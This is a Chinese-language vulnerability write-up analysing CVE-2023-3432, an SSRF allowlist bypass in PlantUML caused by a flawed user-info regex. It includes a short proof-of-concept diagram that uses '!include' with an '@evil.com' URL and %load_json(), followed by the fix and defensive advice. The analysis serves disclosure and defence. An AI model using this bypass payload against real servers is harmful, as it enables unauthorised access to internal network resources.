【Web实战】浅谈PlantUML回显SSRF漏洞(CVE-2023-3432)
字数 1336 2025-08-10 08:28:42
PlantUML回显SSRF漏洞分析(CVE-2023-3432) 教学文档
1. PlantUML简介
PlantUML是一种开源的、用于绘制UML(Unified Modeling Language)图表的工具。它使用简单的文本描述语言来定义和生成各种类型的图表,如类图、时序图、用例图等。
基本语法示例:
@startuml
Bob -> Alice : hello!
@enduml
2. 漏洞概述
CVE-2023-3432是一个与SSRF(Server-Side Request Forgery)相关的漏洞,存在于PlantUML的URI内容加载功能中。该漏洞允许攻击者绕过安全限制,访问未授权的网络资源。
3. 漏洞成因分析
3.1 PlantUML的!include指令
PlantUML提供!include指令用于引入外部文件内容,支持加载URI:
@startuml
!include https://forum.butian.net
Alice -> Bob: Message
@enduml
3.2 PlantUML的安全机制
PlantUML通过SecurityProfile实现安全控制:
- SANDBOX模式:最安全,禁止访问本地文件和远程URL
- ALLOWLIST模式:只允许访问白名单中的资源
- INTERNET模式:限制对外部资源的访问
关键安全检查方法:
net.sourceforge.plantuml.security.SURL#isUrlOknet.sourceforge.plantuml.security.SFile#isFileOk
3.3 ALLOWLIST模式的安全实现
在ALLOWLIST模式下,URL检查流程:
- 调用
cleanPath规范化请求目标 - 调用
removeUserInfoFromUrlPath去除用户信息 - 检查请求URL是否以白名单URL开头
问题出在removeUserInfoFromUrlPath方法的正则表达式:
^https?://([-_0-9a-zA-Z]+@)([^@]*)
该正则表达式存在以下问题:
- 无法正确处理
<username>:<password>@<host>格式 - 未匹配
.字符,导致类似https://plantuml.com@evil.com的URL不会被去除userInfo
3.4 漏洞利用
结合%load_json()可以获取更多内容:
@startuml
!include https://allow.com@evil.com/
a -> b: %load_json()
@enduml
4. 漏洞修复
修复方案主要改进了对URL中@符号的处理:
- 更严格地检查URL格式
- 确保正确去除用户信息部分
修复提交:
https://github.com/plantuml/plantuml/commit/b32500bb61ae617bb312496d6d832e4be8190797
5. 相关案例
类似漏洞:CVE-2020-13956 (HttpClient)
- HttpClient在解析URL时对
@符号处理不当 - 当
getHost()失败时,会调用getAuthority()进行调整 - 攻击者可构造特殊URL绕过限制
6. SSRF防护建议
- 实施严格的白名单机制
- 正确处理URL中的特殊字符(
@,:,.等) - 考虑应用自身对请求目标的处理逻辑
- 防范各种畸形请求的绕过方式
7. 总结
CVE-2023-3432展示了即使存在安全机制,实现细节中的小疏忽也可能导致严重漏洞。在开发涉及网络请求的功能时,必须全面考虑各种边界情况和特殊输入。